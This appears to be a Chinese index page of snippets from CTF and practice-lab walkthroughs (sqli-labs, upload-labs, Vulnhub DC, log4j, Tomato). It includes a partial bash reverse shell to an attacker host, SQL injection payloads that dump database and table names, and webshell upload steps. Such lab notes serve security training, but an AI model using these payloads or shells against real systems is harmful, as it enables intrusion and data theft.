靶场专题

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录 [web][极客大挑战 2019]Http 考点：Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点：弱密码字典爆破四种方法： [web][极客大挑战 2019]Http 考点：Referer协议、UA协议、X-Forwarded-For协议访问环境老规矩，我们先查看源代码

log4j靶场，反弹shell

1.用vulhub靶场搭建，首先进入目录CVE-2021-44228中，docker启动命令 2.发现端口是8983，浏览器访问http://172.16.1.18:8983/ 3.用dnslog平台检测dns回显，看看有没有漏洞存在 4.反弹shell到kali（ip为172.16.1.18）的8888端口 bash -i >& /dev/tcp/172.16.1.18

红日靶场----（四）1.后渗透利用阶段

使用Metasploit进入后渗透利用阶段一旦我们获取了目标主机的访问权限，我们就可以进入后渗透利用阶段，在这个阶段我们收集信息，采取措施维护我们的访问权限，转向其他机器 Step01：上线MSF（通过metasploit获取目标系统的会话-即SHELL）常用选项-p //指定生成的Payload--list payload //列出所支持的Payload类

【红日靶场】ATTCK实战系列——红队实战（一）手把手教程

目录入侵网络的思路一些概念（1）工作组（2）域（3）账号红日靶机（一）网络结构下载配置web服务器的两张网卡配置内网的两台机器（域控和域内主机）渗透web服务器外网信息搜集（1）外网信息搜集的内容（2）开始信息搜集（主要是利用工具）漏洞利用（1）漏洞利用的两种方式（2）利用phpMyAdmin （3）开启3389端口远程桌面

tomato靶场攻略

1.使用nmap扫描同网段的端口，发现靶机地址 2.访问到主页面，只能看到一个大西红柿 3.再来使用dirb扫面以下有那些目录，发现有一个antibot_image 4.访问我们扫到的地址，点金目录里看看有些什么文件 5.看到info.php很熟悉，点进去看看 6.查看源代码发现是通过GET方式传参的，有文件包含漏洞 7. 利用文件包含漏洞，我们尝试查看一

Tomato靶场渗透测试

1.扫描靶机地址可以使用nmap进行扫描由于我这已经知道靶机地址这里就不扫描了 2.打开网站 3.进行目录扫描 dirb http：//172.16.1.113 发现有一个antibot_image目录 4.访问这个目录可以看到有一个info.php 5.查看页面源代码可以发现可以进行get传参 6.尝试查看日志文件 http://172.16

攻防世界 —— 靶场笔记合集

靶场地址：https://adworld.xctf.org.cn/ 备注：此为靶场笔记合集的目录，是我接下来待更新的内容（主要是因为主线一篇太耗时间了，所以开通一条支线，来满足我日更两篇的目标，当该靶场更新完毕后，此条注释会删除） 0x01：Misc 0x02：Pwn 0x03：Web 0x0301：Web - Level 1 0x04：Reverse 0x05：Crypto

【靶场】upload-labs-master（前11关）

🏘️个人主页：点燃银河尽头的篝火(●’◡’●) 如果文章有帮到你的话记得点赞👍+收藏💗支持一下哦【靶场】upload-labs-master（前11关）第一关 Pass-01第二关 Pass-02第三关 Pass-03第四关 Pass-04第五关 Pass-05第六关 Pass-06第七关 Pass-07第八关 Pass-08第九关 Pass-09第十关 Pass-10第

pikachu文件包含漏洞靶场通关攻略

本地文件包含先上传一个jpg文件，内容写上<?php phpinfo();?> 上传成功并且知晓了文件的路径返回本地上传，并../返回上级目录可以看到我们的php语句已经生效远程文件包含在云服务器上创建一个php文件然后打开pikachu的远程文件包含靶场，随便选一个提交在filename处修改为云服务器的目标地址 127.0.0.1/pik

【靶场】CTFshow—vip限免题目11~20

🏘️个人主页：点燃银河尽头的篝火(●’◡’●) 如果文章有帮到你的话记得点赞👍+收藏💗支持一下哦【靶场】CTFshow—vip限免题目11~20 域名txt记录泄露敏感信息公布内部技术文档泄露编辑器配置不当密码逻辑脆弱探针泄露CDN穿透js敏感信息泄露前端密钥泄露数据库恶意下载域名txt记录泄露提示：域名其实也可以隐藏信息，比如ctfshow.com 就

sqli-lab靶场学习（一）——Less1

前言最近一段时间想切入安全领域，因为本身有做数据库运维工作，就打算从sql注入方向切入。而sql注入除了学习日常书本上的概念外，需要有个实践的环境，刚好看到sqli-lab这个靶场，就打算先用这个来学习。安装部署网上很多关于安装部署的教程，很简单。本人是下载PHPStudy进行部署的。由于sqli-lab是用php5版本，现在很多一体化环境（我用wamp）的php都是7版本。我试过

sqli-labs靶场通关攻略（61-65）

Less-61 步骤一：查看数据库 ?id=1')) and updatexml(1,concat(1,(select database())),1)--+ 步骤二：查看表名 ?id=1')) and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where ta

SQLi-LABS靶场56-60通过攻略

第56关（单引号括号闭合）查数据库 ?id=-1') union select 1,database(),3 --+ 查表 ?id=-1') union select 1,(select table_name from information_schema.tables where table_schema=database()),3 --+ 查字段 ?id=-1') uni

sqli-labs靶场通关攻略 56-60

主页有sqli-labs靶场通关攻略 1-55 第五六关 less-56 步骤一：闭合方式：?id=1')-- + 步骤二：查询数据库 ?id=-1') union select 1,2,database() --+ 步骤三：联合查询查出网站的数据库表名 ?id=-1') union select 1,2,group_concat(table_name) from inf

upload-labs-master靶场通关攻略

第一关上传并进行抓包，修改后缀为php 第二关抓包修改后缀第三关改后缀为php3 第4关使用Apache的配置文件.htaccess来上传文件然后再上传php文件第5关使用.user.ini来上传文件然后再上传jpg文件访问upload目录下的readme.php文件第6关大小写绕过第7关空

使用 GZCTF 结合 GitHub 仓库搭建独立容器与动态 Flag 的 CTF 靶场以及基于 Docker 的 Web 出题与部署

写在前面关于 CTF 靶场的搭建（使用 CTFd 或者 H1ve）以及 AWD 攻防平台的搭建，勇师傅在前面博客已经详细写过，可以参考我的《网站搭建》专栏，前段时间玩那个 BaseCTF，发现它的界面看着挺不错的，了解到也是一个开源项目-GZCTF，网上未见有这方面的详细介绍，看了下网上都只是简单说了下怎么搭出 GZCTF 这个靶场的界面，然而对于后续题目的部署并未进行详细的介绍与说明，因此这

Vulnhub靶场 | DC系列 - DC9

文章目录 DC-9环境搭建渗透测试端口敲门服务 DC-9 环境搭建靶机镜像下载地址：https://vulnhub.com/entry/dc-6,315/需要将靶机和 kali 攻击机放在同一个局域网里；本实验kali 的 IP 地址：192.168.10.146。渗透测试使用 nmap 扫描 192.168.10.0/24 网段存活主机 ┌──(root💀k

vulnhub靶场-DC2

一、环境配置 1.下载地址：https://www.vulnhub.com/entry/dc-2,311/ 2.靶场配置：Nat模式更改hosts文件，官网提示需要更改hosts文件才能访问到网站，否则访问不了 kali进入编辑模式vim，添加上自己的靶机ip地址保存即可 vim /etc/hosts 3.攻击机：kali ip：192.168.111.12

upload-labs靶场通关（附靶场环境）

链接: https://pan.baidu.com/s/1GQP5zthh598A4Mp-WQM4vA 提取码: zovn 环境搭建步骤一：将环境附件下载到phpstudy_pro\WWW下面修改名字为upload 步骤二：询问绑定地址第一关 less-1 步骤一：上传一句话木马步骤二：更改文件名后缀，将1.php改为1.jpg，利用burp进行抓包步骤三：

Vulnhub靶场 | DC系列 - DC8

文章目录 DC-8环境搭建渗透测试 DC-8 环境搭建靶机镜像下载地址：https://vulnhub.com/entry/dc-6,315/需要将靶机和 kali 攻击机放在同一个局域网里；本实验kali 的 IP 地址：192.168.10.146。渗透测试使用 nmap 扫描 192.168.10.0/24 网段存活主机 ┌──(root💀kali)-[~/

sqli-labs靶场通关攻略（五十一到五十六关）

sqli-labs-master靶场第五十一关步骤一，尝试输入?sort=1' 我们发现这关可以报错注入步骤二，爆库名 ?sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+ 步骤三，爆表名 ?sort=1' and updatexml(1,concat(0x7e,(select group_concat(ta

Vulnhub靶场 | DC系列 - DC7

文章目录 DC-7环境搭建渗透测试 DC-7 环境搭建靶机镜像下载地址：https://vulnhub.com/entry/dc-6,315/需要将靶机和 kali 攻击机放在同一个局域网里；本实验kali 的 IP 地址：192.168.10.146。渗透测试使用 nmap 扫描 192.168.10.0/24 网段存活主机 ┌──(root💀kali)-[~/

sqli-labs靶场通关攻略（51-60）

Less-51 1、判断闭合方式输入?sort=1' --+ 页面闭合成功 2、查询数据库输入?sort=-1' and updatexml(1,concat(1,database()),1) --+ 3、查询数据库中的表输入?sort=-1' and updatexml(1,concat(1,(select group_concat(table_name) from in

Vulnhub靶场 | DC系列 - DC4

文章目录 DC-4环境搭建渗透测试 DC-4 环境搭建靶机镜像下载地址：https://vulnhub.com/entry/dc-4,313/需要将靶机和 kali 攻击机放在同一个局域网里；本实验kali 的 IP 地址：192.168.10.146。渗透测试使用 nmap 扫描 192.168.10.0/24 网段存活主机 ┌──(root💀kali)-[~/

Upload-labs 1-21关靶场通关攻略(全网最全最完整)

Pass-01 步骤一：将一个php文件重命名为jpg文件步骤二：上传1.jpg抓包，将后改为php，放行步骤三：图片右键新建标签页打开图片，复制图片地址去蚁剑连接 Pass-02 步骤一：上传1.jpg抓包，将后改为php，放行步骤二：图片右键新建标签页打开图片，复制图片地址去蚁剑连接 Pass-03 步骤一：php文件重命名为1.php5 步骤二

Vulnhub靶场 | DC系列 - DC-3

文章目录 DC-3环境搭建渗透测试 DC-3 环境搭建靶机镜像下载地址：https://vulnhub.com/entry/dc-32,312/需要将靶机和 kali 攻击机放在同一个局域网里；本实验kali 的 IP 地址：192.168.10.146。渗透测试使用 nmap 扫描 192.168.10.0/24 网段存活主机 ┌──(root💀kali)-[~